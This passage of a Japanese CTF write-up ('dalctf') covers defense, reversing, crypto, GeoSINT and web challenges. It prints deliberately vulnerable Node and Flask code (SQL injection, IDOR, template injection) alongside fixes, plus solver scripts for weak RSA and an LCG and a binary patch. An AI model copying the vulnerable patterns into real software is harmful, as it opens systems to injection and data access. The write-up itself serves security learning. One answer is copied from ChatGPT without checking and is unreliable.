  res.json({ status: 'ok' });
});

app.post('/login', async (req, res) => {
  const { username, password } = req.body;

  try {
    const query = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;
    const result = await pool.query(query);

    if (result.rows.length > 0) {
      res.json({ success: true, message: 'Login successful' });
    } else {
      res.status(401).json({ success: false, message: 'Invalid credentials' });
    }
  } catch (error) {
    console.error('Login error:', error);
    res.status(500).json({ success: false, message: 'Server error' });
  }
});

const PORT = 3000;
app.listen(PORT, async () => {
  await initDB();
  console.log(`Server running on port ${PORT}`);
});

SQLインジェクションができるので、以下のように修正する。

  • 修正前
    const query = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;
    const result = await pool.query(query);
  • 修正後
    const result = await pool.query(
        'SELECT * FROM users WHERE username = $1 AND password = $2',
        [username, password]
    );

これで攻撃を実行したら、防御に成功し、フラグが表示された。

dalctf{3asy_P3asy_SQL_1nj3ction}

Render and Plunder (Defense)

脆弱性を直す問題。

import os
import json
import datetime

from flask import Flask, request, jsonify
from jinja2 import Template
import jwt

app = Flask(__name__)

JWT_SECRET = os.environ["JWT_SECRET"]

_raw = os.environ["USERS_JSON"]
USERS = json.loads(_raw)
ID_TO_USER = {v["id"]: k for k, v in USERS.items()}


@app.route("/health")
def health():
    return jsonify({"status": "ok"}), 200


@app.route("/login", methods=["POST"])
def login():
    data     = request.get_json(silent=True) or {}
    username = data.get("username", "")
    password = data.get("password", "")

    user = USERS.get(username)
    if user and user["password"] == password:
        token = jwt.encode(
            {
                "username": username,
                "user_id": user["id"],
                "exp": datetime.datetime.utcnow() + datetime.timedelta(hours=1),
            },
            JWT_SECRET,
            algorithm="HS256",
        )
        return jsonify({"token": token, "user_id": user["id"]})
    return jsonify({"error": "Invalid credentials"}), 401


def _decode_token(token: str) -> dict:
    return jwt.decode(token, JWT_SECRET, algorithms=["HS256"])


def _require_auth():
    token = request.headers.get("Authorization", "").replace("Bearer ", "")
    return _decode_token(token)


@app.route("/api/users/<user_id>/data", methods=["GET"])
def get_user_data(user_id: str):
    try:
        payload = _require_auth()
    except Exception:
        return jsonify({"error": "Unauthorized"}), 401

    username = ID_TO_USER.get(user_id)
    if not username:
        return jsonify({"error": "User not found"}), 404

    return jsonify({"profile": USERS[username]["profile"]}), 200


@app.route("/api/users/<user_id>/data", methods=["PUT"])
def update_user_data(user_id: str):
    try:
        payload = _require_auth()
    except Exception:
        return jsonify({"error": "Unauthorized"}), 401

    username = ID_TO_USER.get(user_id)
    if not username:
        return jsonify({"error": "User not found"}), 404

    data = request.get_json(silent=True) or {}
    bio  = data.get("bio", "")
    USERS[username]["profile"]["bio"] = bio
    return jsonify({"message": "Profile updated", "bio": bio}), 200


@app.route("/render", methods=["POST"])
def render_report():
    try:
        payload = _require_auth()
    except Exception:
        return jsonify({"error": "Unauthorized"}), 401

    data = request.get_json(silent=True) or {}
    name = data.get("name", "User")

    template_source = f"Hello {name}! Here is your report for user {payload.get('username', '?')}."
    result = Template(template_source).render()

    return jsonify({"report": result}), 200


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

IDOR対策のためにget_user_dataとupdate_user_dataに以下のチェックを追加する。

    if payload.get("user_id") != user_id:
        return jsonify({"error": "Forbidden"}), 403

SSTI対策のためにrender_reportで以下のように修正する。

  • 修正前
    template_source = f"Hello {name}! Here is your report for user {payload.get('username', '?')}."
    result = Template(template_source).render()
  • 修正後
    template_source = "Hello {{ name }}! Here is your report for user {{ username }}."
    result = Template(template_source).render(name=name, username=payload.get("username", "?"))

これで攻撃を実行したら、防御に成功し、フラグが表示された。

dalctf{W1ll_Y0u_ID0R_Moi_SSTI?}

Card Trick (Cards)

問題はこうなっている。

There is an invite only, unreleased game made by valve. In this game, there is a character who is a gambler who has her first ability based on cards. The flag format is the order of the suits as they appear on the tooltip, with each suit followed by the stat modifier for that suit, finished with the number of cards she can hold at one time. Assume the ability is at max level.

Example: dalctf{ruby15_emerald-25_sapphire50_amethyst-100_25} (negative numbers included)

よくわからないので、ChatGPTに聞いてみた。その説明は以下の通り。

この問題の「invite only, unreleased game made by Valve」はほぼ間違いなく Valve の Deadlock である。「gambler who has her first ability based on cards」は Wraith の1番スキル Card Trick を指している。
カードのスートごとの効果は以下の通り。

最大レベル時(T3):

  • Spade → Bonus Damage 100%
  • Diamond → Resist Reduction -13%
  • Club → Slow -50%
  • Heart → Heal 150

また Card Trick は以下の通りなので、同時保持数は4枚と解釈できる。

  • 基本 2 Charges
  • T1 で +2 Charges
dalctf{spade100_diamond-13_club-50_heart150_4}

Trails for Life (GeoSINT)


このMETIS TRAILとかいてある看板を画像検索すると、以下のページが見つかる。
https://www.shutterstock.com/image-photo/may-30-2024-metis-trail-road-2770283391

さらにNEXT LEFTと書いてあるので、次に左折するとMETIS TRAILであるNL-516になっているということがわかる。

以上をもとにGoogle Mapで探してみると、以下の辺りであることがわかる。
https://www.google.com/maps/place/NL-516,+Newfoundland+and+Labrador+A0K+3Y0+%E3%82%AB%E3%83%8A%E3%83%80/@53.0723332,-57.5187052,3a,75y,10.3h,88.94t/data=!3m7!1e1!3m5!1sVprW5knJnZgS7ZP9Eovckw!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D1.0620004001431624%26panoid%3DVprW5knJnZgS7ZP9Eovckw%26yaw%3D10.296874411395727!7i16384!8i8192!4m6!3m5!1s0x4c784a99f6f06b1d:0xe7bf6a6b737e5799!8m2!3d53.4003131!4d-57.2849142!16s%2Fg%2F11crzw688v?entry=ttu&g_ep=EgoyMDI2MDYwMS4wIKXMDSoASAFQAw%3D%3D


該当する場所でSubmitしたらフラグが表示された。

dalctf{l4br4d0r_tr41l5}

Green Light (GeoSINT)

周囲を見渡すと、電話番号が書いてあるお店が見える。名称は株式会社Progresss、電話番号は06-6180-5602となっている。
この電話番号を検索してみると、住所は「大阪府大阪市 城東区鴫野西3丁目5-36」となっていることがわかる。

Googleで探してみると、以下の辺りであることがわかる。
https://www.google.com/maps/@34.6946277,135.5390613,3a,75y,79.4h,89.85t/data=!3m7!1e1!3m5!1sSEkYb-WOQ9_BPdJ3J9pGyw!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D0.14899335930637392%26panoid%3DSEkYb-WOQ9_BPdJ3J9pGyw%26yaw%3D79.40418544912394!7i16384!8i8192?entry=ttu&g_ep=EgoyMDI2MDYwMS4wIKXMDSoASAFQAw%3D%3D


該当する場所でSubmitしたらフラグが表示された。

dalctf{4k4s4k4}

Bandaids Help me Heal (Pwn)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  byte local_a;
  byte local_9;
  
  local_9 = 0xff;
  local_a = 0;
  puts("Initializing secure wait system...");
  for (; local_9 != 0; local_9 = local_9 - 1) {
    local_a = local_a ^ local_9;
    usleep(1000000000);
  }
  if (local_a != 0) {
    puts("Integrity check failed.");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  puts("Access granted.");
  decrypt_and_print_flag(0x5a);
  return 0;
}

usleepの引数を0にパッチしたい。該当するアセンブリはこうなっている。

        00401207 bf 00 ca        MOV        EDI,0x3b9aca00
                 9a 3b
        0040120c e8 4f fe        CALL       <EXTERNAL>::usleep                               int usleep(__useconds_t __usecon
                 ff ff

バイナリのオフセット 0x1208 以降を以下のように修正する。

00 ca 9a 3b -> 00 00 00 00

修正したバイナリを実行する。

$ ./chall_mod
Initializing secure wait system...
Access granted.
Flag: dalctf{binary_patched}
dalctf{binary_patched}

Baby Android (Rev)

jadx-guiでデコンパイルする。

public final class MainActivity extends ComponentActivity {
    public static final int $stable = 8;
    private final String flag1 = "dalctf{4ndr0id";

    /* JADX INFO: Access modifiers changed from: protected */
    @Override // androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        EdgeToEdge.enable$default(this, null, null, 3, null);
        ComponentActivityKt.setContent$default(this, null, ComposableSingletons$MainActivityKt.INSTANCE.m7653getLambda$168778512$app(), 1, null);
    }
}

flag1が見つかった。

dalctf{4ndr0id
public final class R {

    /* loaded from: classes2.dex */
    public static final class color {
        public static int black = 0x7f050021;
        public static int purple_200 = 0x7f0503b2;
        public static int purple_500 = 0x7f0503b3;
        public static int purple_700 = 0x7f0503b4;
                :
                :
    /* loaded from: classes2.dex */
    public static final class string {
        public static int app_name = 0x7f0f001c;
        public static int flag2 = 0x7f0f003f;
        public static int title_activity_main = 0x7f0f010e;
                :
                :

strings.xmlにflag2があるようだ。resources.arsc/res/values/strings.xmlを見てみる。

                :
                :
    <string name="fab_transformation_sheet_behavior">com.google.android.material.transformation.FabTransformationSheetBehavior</string>
    <string name="flag2">_d3bugg1ng_</string>
    <string name="hide_bottom_view_on_scroll_behavior">com.google.android.material.behavior.HideBottomViewOnScrollBehavior</string>
                :
                :

flag2が見つかった。

_d3bugg1ng_
public final class ColorKt {
    private static final long Purple80 = androidx.compose.ui.graphics.ColorKt.Color(4291869951L);
    private static final long PurpleGrey80 = androidx.compose.ui.graphics.ColorKt.Color(4291609308L);
    private static final long Pink80 = androidx.compose.ui.graphics.ColorKt.Color(4293900488L);
    private static final long Purple40 = androidx.compose.ui.graphics.ColorKt.Color(4284895396L);
    private static final long PurpleGrey40 = androidx.compose.ui.graphics.ColorKt.Color(4284636017L);
    private static final long Pink40 = androidx.compose.ui.graphics.ColorKt.Color(4286403168L);
    private static final String flag3 = "_1s_e4sy}";

    public static final long getPurple80() {
        return Purple80;
    }

    public static final long getPurpleGrey80() {
        return PurpleGrey80;
    }

    public static final long getPink80() {
        return Pink80;
    }

    public static final long getPurple40() {
        return Purple40;
    }

    public static final long getPurpleGrey40() {
        return PurpleGrey40;
    }

    public static final long getPink40() {
        return Pink40;
    }

    public static final String getFlag3() {
        return flag3;
    }
}

flag3が見つかった。

_1s_e4sy}
dalctf{4ndr0id_d3bugg1ng_1s_e4sy}

Baby Web (Web)

HTMLソースを見たら、以下の部分があった。

<p hidden="true"> Nice work, here's the flag: dalctf{n0w_y0u_ar3_th3_b0ss_b4by} </p>
dalctf{n0w_y0u_ar3_th3_b0ss_b4by}

Warmup (Forensics)

ルールのページの最下部にフラグが書いてあった。

dalctf{pr00f_y0u_4t_l3ast_0p3ned_7his_page}

Warmer Up (Forensics)

PDFを開き、全コピーすると末尾にフラグが書いてあった。

dalctf{d1d_y0u_r34d_th3m?}

Angry Shamir (Crypto)

RSA暗号。nを小さい数から順に割っていき、素因数を探し、復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

def is_prime(q):
    q = abs(q)
    if q == 2: return True
    if q < 2 or q & 1 == 0: return False
    return pow(2, q - 1, q) == 1

def small_prime(modulus):
    i = 1
    while True:
        if is_prime(i):
            if modulus % i == 0:
                return i, modulus // i
        else:
            pass
        i += 1

n = 1838728184695871659965012189610295270665548277743170978477811033285784122401925676473091945840761097230358112793269159175523352904583082710661432383586054756989336914086267086282261815103722709523091728221623957702900301124878651337623985822069898206814203104595126969177996998431362486639056055349584704987009282334768918035439577276111964948640918939110460050009666129310410354538866707598179087805495281114570426986316731323553476567423888230008826031200982236779868885532826970566394829392616541380902228086261386950569625906913931124943742837569848435973408085296846480875452543065548991901360785409742687475380901
e = 65537
c = 789545866347439920710445699573254153680505782482756993843356750980220383218945019393920653402758903298961579834860269864723264413119811332414724945575026435841383953497751702639326431362640371689770093794458588005697099946848826383795374803739641872724604053825535708973930008279621031161769534300009342429497648284351686580075106498405528267107474469195434707074304510989598742806146185572482356930204310432254906432917437583495091279111823135243990442691262246628875356373201376815813508297361384609829242597557658901077250276402989705573487361905198470585599080421232703134641467570445229006472956517079740557680862

p, q = small_prime(n)
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
dalctf{sm4ll_f4ct0rs_4r3_d4ng3r0us_1n_rs4}

LCG Seed Squared (Crypto)

フラグが"D"から始まることを前提にすれば、最初のxがわかり、あとは次のx以降も計算でき、復号できる。

#!/usr/bin/env python3
def rng(y):
    x = pow(int((175*y + 17)/14 + 45), 15, 4294967295)
    return x

with open('output.txt', 'r') as f:
    encs = list(map(int, f.read().splitlines()))

x = encs[0] // ord('D')

flag = ''
for c in encs:
    flag += chr(c // x)
    x = rng(x)
print(flag)
DalCTF{533m1ng1y_r4nd0m1y_g3n3r473d_num63rs}

All's Fair in Love and CTFs (Crypto)

Playfair暗号と推測し、https://www.dcode.fr/playfair-cipherで復号する。

ANYTHINGFORTHEFLAG
dalctf{ANYTHINGFORTHEFLAG}

Playing with Pointers (Crypto)

各数値をfloatに値に変換し、平方根を取ればよい。

#!/usr/bin/env python3
import struct
import gmpy2

with open('output.txt', 'r') as f:
    encs = list(map(int, f.read().splitlines()))

flag = ''
for c in encs:
    f = struct.unpack('<f', struct.pack('<I', c))[0]
    flag += chr(gmpy2.iroot(int(f), 2)[0])
print(flag)
DalCTF{s0m3_fUn_w17h_P01n73r5}

Compression isn't encryption (Crypto)

alphabet.txt は各文字の出現確率を示していると推測できる。その確率表から Huffman Treeを構築して output.txt のビット列を復号する。なお同じ頻度のノードの並べ方はJavaScriptの挙動と同様にし、二分探索で同頻度ノードの先頭に挿入するようにする。

#!/usr/bin/env python3
freq_data = [
    ('z',0.00021),('j',0.0003),('q',0.00033),('x',0.00051),('{',0.001),('}',0.001),
    ('k',0.00207),('_',0.003),('v',0.00333),('b',0.00447),('p',0.00546),('g',0.00609),
    ('w',0.00627),('y',0.00633),('f',0.0069),('m',0.00783),('c',0.00813),('u',0.00864),
    ('$',0.011),('l',0.01194),('d',0.01296),('7',0.0136),('h',0.01776),('r',0.01806),
    ('s',0.01884),('6',0.02),('8',0.02),('9',0.02),('n',0.02085),('i',0.02193),
    ('o',0.02304),('a',0.02436),('5',0.0268),('t',0.0273),('!',0.029),('4',0.0304),
    ('0',0.0336),('e',0.03609),('3',0.0640),('2',0.0808),('1',0.0908)
]

class HNode:
    def __init__(self, ch, freq, left=None, right=None):
        self.ch = ch
        self.freq = freq
        self.left = left
        self.right = right

heap = [HNode(ch, f) for ch, f in freq_data]
heap.sort(key=lambda n: n.freq)

while len(heap) > 1:
    a = heap.pop(0)
    b = heap.pop(0)
    merged = HNode(None, a.freq + b.freq, a, b)
    lo, hi = 0, len(heap)
    while lo < hi:
        mid = (lo + hi) // 2
        if heap[mid].freq < merged.freq:
            lo = mid + 1
        else:
            hi = mid
    heap.insert(lo, merged)

root = heap[0]

def decode(bits, root):
    result = []
    node = root
    for bit in bits:
        node = node.left if bit == '0' else node.right
        if node.ch is not None:
            result.append(node.ch)
            node = root
    return ''.join(result)

bits = "101110101011011001101111110011011111101111011010110111110100100000100111101101001110100100001001111111011011101111000011011011011111011001001001111110010110010110101110010110110111101011110111"

flag = decode(bits, root)
print(flag)
dalctf{y0u_wi11_3ncrypt_4lw4y$}

Fun With RSA (Crypto)

RSA-CRT Fault Attackでnをp, qに素因数分解することができる。またcとpとqのXORがctなので、cを求め復号することができる。

#!/usr/bin/env python3
from Crypto.Util.number import *
from pwn import *

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

n = int(params[0].split(' ')[-1])
e = int(params[1].split(' ')[-1])
ct = int(params[2].split(' ')[-1])
s = int(params[3].split(' ')[-1])
spz = int(params[4].split(' ')[-1])

p = GCD(pow(s, e, n) - pow(spz, e, n), n)
q = n // p
c = int(xor(bin(ct).encode(), bin(p).encode(), bin(q).encode()), 2)

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
dalctf{s3gf4u17_r54_m1x3d_w17h_x0r}